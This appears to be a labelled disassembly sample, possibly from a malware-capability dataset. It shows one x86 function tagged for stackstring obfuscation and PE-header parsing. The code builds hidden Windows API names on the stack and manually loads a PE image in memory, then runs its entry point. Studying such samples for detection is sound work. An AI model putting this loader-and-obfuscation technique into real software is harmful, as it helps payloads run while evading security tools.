Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x428fa0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x40102b
xor eax, eax
jmp 0x4012b0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x58]
cmp dword [edx], 0x4550
je 0x401049
xor eax, eax
jmp 0x4012b0
mov byte [ebp - 0x44], 0x56
mov byte [ebp - 0x43], 0x69
mov byte [ebp - 0x42], 0x72
mov byte [ebp - 0x41], 0x74
mov byte [ebp - 0x40], 0x75
mov byte [ebp - 0x3f], 0x61
mov byte [ebp - 0x3e], 0x6c
mov byte [ebp - 0x3d], 0x41
mov byte [ebp - 0x3c], 0x6c
mov byte [ebp - 0x3b], 0x6c
mov byte [ebp - 0x3a], 0x6f
mov byte [ebp - 0x39], 0x63
mov byte [ebp - 0x38], 0
lea eax, [ebp - 0x44]
push eax
mov ecx, dword [0x42a3d4]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x42a324], eax
push 4
push 0x2000
mov edx, dword [ebp - 0x58]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0x58]
mov edx, dword [ecx + 0x34]
push edx
call dword [0x42a324]
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x28], 0x47
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x74
mov byte [ebp - 0x25], 0x50
mov byte [ebp - 0x24], 0x72
mov byte [ebp - 0x23], 0x6f
mov byte [ebp - 0x22], 0x63
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x73
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1e], 0x48
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x61
mov byte [ebp - 0x1b], 0x70
mov byte [ebp - 0x1a], 0
lea eax, [ebp - 0x28]
push eax
mov ecx, dword [0x42a3d4]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x30], 0
jne 0x40112d
push 4
push 0x2000
mov edx, dword [ebp - 0x58]
mov eax, dword [edx + 0x50]
push eax
push 0
call dword [0x42a324]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x40112d
xor eax, eax
jmp 0x4012b0
mov byte [ebp - 0x10], 0x48
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x61
mov byte [ebp - 0xd], 0x70
mov byte [ebp - 0xc], 0x41
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6f
mov byte [ebp - 8], 0x63
mov byte [ebp - 7], 0
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [0x42a3d4]
push edx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x34], eax
push 0x14
push 0
call dword [ebp - 0x14]
push eax
call dword [ebp - 0x34]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x30]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 0x50]
mov dword [edx + 0xc], 0
mov eax, dword [ebp - 0x50]
mov dword [eax + 8], 0
mov ecx, dword [ebp - 0x50]
mov dword [ecx + 0x10], 0
push 4
push 0x1000
mov edx, dword [ebp - 0x58]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call dword [0x42a324]
push 4
push 0x1000
mov edx, dword [ebp - 0x58]
mov eax, dword [edx + 0x54]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call dword [0x42a324]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx + 0x3c]
mov ecx, dword [ebp - 0x58]
add eax, dword [ecx + 0x54]
push eax
mov edx, dword [ebp - 0x2c]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [0x42a328]
call fcn.00401c20
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x18]
add edx, dword [ecx + 0x3c]
mov eax, dword [ebp - 0x50]
mov dword [eax], edx
mov ecx, dword [ebp - 0x50]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x30]
mov dword [edx + 0x34], eax
mov ecx, dword [ebp - 0x50]
push ecx
mov edx, dword [ebp - 0x58]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.004012c0
add esp, 0xc
mov ecx, dword [ebp - 0x58]
mov edx, dword [ebp - 0x30]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0x54], edx
je 0x40123c
mov eax, dword [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x50]
push ecx
call fcn.004015c0
add esp, 8
mov edx, dword [ebp - 0x50]
push edx
call fcn.004016a0
add esp, 4
test eax, eax
jne 0x401250
jmp 0x4012a2
mov eax, dword [ebp - 0x50]
push eax
call fcn.004013c0
add esp, 4
mov ecx, dword [ebp - 0x50]
mov edx, dword [ecx]
cmp dword [edx + 0x28], 0
je 0x40129d
mov eax, dword [ebp - 0x50]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x30]
add edx, dword [ecx + 0x28]
mov dword [ebp - 0x4c], edx
jne 0x40127b
jmp 0x4012a2
push 0
push 1
mov eax, dword [ebp - 0x30]
push eax
call dword [ebp - 0x4c]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x401293
jmp 0x4012a2
mov ecx, dword [ebp - 0x50]
mov dword [ecx + 0x10], 1
mov eax, dword [ebp - 0x50]
jmp 0x4012b0
mov edx, dword [ebp - 0x50]
push edx
call fcn.004019b0
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040f285
mov esp, ebp
pop ebp
ret